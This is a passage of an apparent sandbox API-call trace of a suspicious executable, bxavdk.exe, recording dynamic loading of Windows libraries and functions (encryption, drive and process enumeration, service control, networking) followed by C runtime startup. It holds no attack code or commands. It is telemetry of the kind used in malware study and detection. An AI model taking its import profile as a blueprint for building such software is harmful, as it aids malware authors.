(lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0030.743] GetProcAddress (hModule=0x75340000, lpProcName="PathFindExtensionW") returned 0x7535a1b9 [0030.743] GetProcAddress (hModule=0x75340000, lpProcName="PathFindFileNameW") returned 0x7535bb71 [0030.743] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0030.743] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsW") returned 0x753545bf [0030.743] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0030.743] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendA") returned 0x7534d65e [0030.744] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0030.744] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0030.744] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0030.744] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0030.744] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0030.744] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0030.744] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0030.744] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0030.744] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0030.744] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0030.745] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0030.745] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0030.745] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0030.745] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0030.745] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0030.745] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0030.745] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0030.745] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0030.745] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0030.745] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0030.746] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0030.746] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemDirectoryW") returned 0x76c35063 [0030.746] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0030.746] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryW") returned 0x76c3492b [0030.746] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0030.746] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0030.746] GetProcAddress (hModule=0x76c20000, lpProcName="FormatMessageW") returned 0x76c34620 [0030.746] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpynW") returned 0x76c5d556 [0030.746] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0030.746] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0030.746] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0030.746] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0030.746] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0030.747] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0030.747] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpW") returned 0x76c35929 [0030.747] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0030.747] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0030.747] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0030.747] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0030.747] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0030.747] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0030.747] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0030.748] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0030.748] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0030.748] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0030.748] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0030.748] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0030.748] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0030.748] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventW") returned 0x76c3183e [0030.748] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0030.748] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0030.748] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatW") returned 0x76c5828e [0030.749] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0030.749] GetProcAddress (hModule=0x76c20000, lpProcName="FatalAppExitA") returned 0x76cb4691 [0030.749] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0030.749] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0030.749] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0030.749] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0030.749] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0030.749] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0030.749] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0030.749] GetProcAddress (hModule=0x76c20000, lpProcName="SetPriorityClass") returned 0x76c4cf28 [0030.750] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0030.750] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0030.750] GetProcAddress (hModule=0x76c20000, lpProcName="GetExitCodeProcess") returned 0x76c4174d [0030.750] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0030.750] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalFree") returned 0x76c35558 [0030.750] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0030.750] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryA") returned 0x76c5d526 [0030.750] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0030.750] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0030.751] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0030.751] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0030.751] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0030.751] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0030.751] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0030.751] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0030.751] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0030.751] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0030.751] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0030.751] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0030.752] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0030.752] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0030.752] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0030.752] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0030.752] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0030.752] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0030.752] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0030.752] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoW") returned 0x76c33c42 [0030.752] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocale") returned 0x76c4ce46 [0030.752] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLCID") returned 0x76c33da5 [0030.753] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesW") returned 0x76cb425f [0030.753] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatW") returned 0x76c534d7 [0030.753] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatW") returned 0x76c4f481 [0030.753] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0030.753] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0030.753] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0030.753] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0030.753] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0030.753] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0030.753] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0030.754] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0030.754] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0030.754] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0030.754] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0030.754] GetProcAddress (hModule=0x76c20000, lpProcName="ReadConsoleW") returned 0x76cd739a [0030.754] GetProcAddress (hModule=0x76c20000, lpProcName="OutputDebugStringW") returned 0x76c5d1d4 [0030.754] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleCtrlHandler") returned 0x76c38a09 [0030.754] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0030.754] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0030.754] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0030.754] GetProcAddress (hModule=0x76c20000, lpProcName="AreFileApisANSI") returned 0x76cb40d1 [0030.755] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0030.755] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0030.755] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0030.755] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThread") returned 0x76c317ec [0030.755] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0030.755] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0030.755] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableA") returned 0x76c3e331 [0030.755] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0030.755] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0030.756] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0030.756] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0030.756] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0030.756] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0030.756] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0030.756] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0030.756] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0030.756] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0030.756] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0030.756] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0030.756] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0030.756] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0030.757] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0030.757] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0030.757] GetProcAddress (hModule=0x74f40000, lpProcName="IsWindow") returned 0x74f57136 [0030.757] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0030.757] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0030.757] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0030.757] GetProcAddress (hModule=0x74f40000, lpProcName="PeekMessageW") returned 0x74f605ba [0030.757] GetProcAddress (hModule=0x74f40000, lpProcName="PostThreadMessageW") returned 0x74f58bff [0030.757] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxW") returned 0x74fafd3f [0030.757] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0030.758] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0030.758] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0030.758] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0030.758] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0030.758] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0030.758] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0030.758] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextW") returned 0x74d4df14 [0030.758] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0030.758] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0030.758] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0030.759] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0030.759] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0030.759] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0030.759] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0030.759] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0030.759] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0030.759] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0030.759] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0030.759] GetProcAddress (hModule=0x74d40000, lpProcName="CryptEncrypt") returned 0x74d6779b [0030.759] GetProcAddress (hModule=0x74d40000, lpProcName="CryptImportKey") returned 0x74d4c532 [0030.760] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0030.760] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0030.760] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0030.760] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0032.382] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetPathFromIDListW") returned 0x760617bf [0032.382] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7605e141 [0032.382] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0032.382] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteA") returned 0x76217078 [0032.382] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0032.382] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0032.383] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitialize") returned 0x755fb636 [0032.383] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitializeSecurity") returned 0x75607259 [0032.383] GetProcAddress (hModule=0x755e0000, lpProcName="CoUninitialize") returned 0x756286d3 [0032.383] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0032.383] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75220000 [0032.383] GetProcAddress (hModule=0x75220000, lpProcName=0xca) returned 0x7522fd6b [0032.383] GetProcAddress (hModule=0x75220000, lpProcName=0x2) returned 0x75224642 [0032.383] GetProcAddress (hModule=0x75220000, lpProcName=0x9) returned 0x75223eae [0032.383] GetProcAddress (hModule=0x75220000, lpProcName=0x8) returned 0x75223ed5 [0032.383] GetProcAddress (hModule=0x75220000, lpProcName=0x6) returned 0x75223e59 [0032.383] GetProcAddress (hModule=0x75220000, lpProcName=0xc8) returned 0x75223f21 [0032.383] GetProcAddress (hModule=0x75220000, lpProcName=0xc) returned 0x75225dee [0032.384] GetProcAddress (hModule=0x75220000, lpProcName=0xc9) returned 0x75224af8 [0032.384] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74af0000 [0032.599] GetProcAddress (hModule=0x74af0000, lpProcName="GetAdaptersInfo") returned 0x74af9263 [0032.600] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75bc0000 [0032.809] GetProcAddress (hModule=0x75bc0000, lpProcName=0xc) returned 0x75bcb131 [0032.809] GetProcAddress (hModule=0x75bc0000, lpProcName=0xb) returned 0x75bc311b [0032.809] GetProcAddress (hModule=0x75bc0000, lpProcName=0x34) returned 0x75bd7673 [0032.809] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74a90000 [0032.987] GetProcAddress (hModule=0x74a90000, lpProcName="DnsQuery_W") returned 0x74aa572c [0032.987] GetProcAddress (hModule=0x74a90000, lpProcName="DnsFree") returned 0x74a9436b [0032.987] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x759b0000 [0032.987] GetProcAddress (hModule=0x759b0000, lpProcName="CryptStringToBinaryA") returned 0x759e5d77 [0032.987] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749d0000 [0033.157] GetProcAddress (hModule=0x749d0000, lpProcName="atexit") returned 0x749ec544 [0033.158] atexit (param_1=0x270920) returned 0 [0033.158] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fc48 | out: lpSystemTimeAsFileTime=0x18fc48*(dwLowDateTime=0xa36def30, dwHighDateTime=0x1d54670)) [0033.158] GetCurrentThreadId () returned 0x9dc [0033.158] GetCurrentProcessId () returned 0x9d8 [0033.158] QueryPerformanceCounter (in: lpPerformanceCount=0x18fc40 | out: lpPerformanceCount=0x18fc40*=15343543764) returned 1 [0033.158] GetStartupInfoW (in: lpStartupInfo=0x18fbd8 | out: lpStartupInfo=0x18fbd8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76c33519, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0033.158] GetProcessHeap () returned 0x5e0000 [0033.158] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0033.158] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0033.158] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0033.159] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0033.159] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0033.159] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0033.159] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0033.159] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0033.159] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0033.159] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0033.159] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0033.159] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0033.159] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0033.159] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0033.159] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0033.160] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0033.160] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0033.160] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0033.160] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0033.160] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0033.160] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0033.160] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0033.160] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0033.160] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0033.160] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0033.160] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0033.160] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0033.161] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0033.161] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0033.161] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0033.161] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0033.161] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0033.161] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0033.161] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0033.161] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3bc) returned 0x688cb8 [0033.161] GetCurrentThreadId () returned 0x9dc [0033.162] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x18) returned 0x689098 [0033.162] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x800) returned 0x689880 [0033.162] GetStartupInfoW (in: lpStartupInfo=0x18fba8 | out: lpStartupInfo=0x18fba8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0x30334ccf, hStdError=0x5c)) [0033.162] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0033.162] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0033.162] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0033.162] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe\" " [0033.162] GetEnvironmentStringsW () returned 0x68a088* [0033.162] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xaca) returned 0x68ab60 [0033.162] FreeEnvironmentStringsW (penv=0x68a088) returned 1 [0033.162] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bxavdk.exe")) returned 0x30 [0033.162] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x6a) returned 0x68b638 [0033.162] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x98) returned 0x68b6b0 [0033.162] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3e) returned 0x67e8c0 [0033.162] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x6c) returned 0x68b750 [0033.162] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x6e) returned 0x68b7c8 [0033.162] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x78) returned 0x67c6d8 [0033.162] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x62) returned 0x68b840 [0033.162] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2e) returned 0x684990 [0033.162] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x48) returned 0x680580 [0033.162] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x28) returned 0x6843b8 [0033.162] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1a) returned 0x6889b0 [0033.162] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x4a) returned 0x68b8b0 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x72) returned 0x67c758 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x30) returned 0x6849c8 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2e) returned 0x684a00 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1c) returned 0x6889d8 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xd2) returned 0x68b908 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x7c) returned 0x68b9e8 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x36) returned 0x68ba70 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3a) returned 0x67e908 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x90) returned 0x68bab0 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x24) returned 0x6843e8 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x30) returned 0x684a38 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x36) returned 0x68bb48 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x48) returned 0x6805d0 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x52) returned 0x68bb88 [0033.163] RtlAllocateHeap 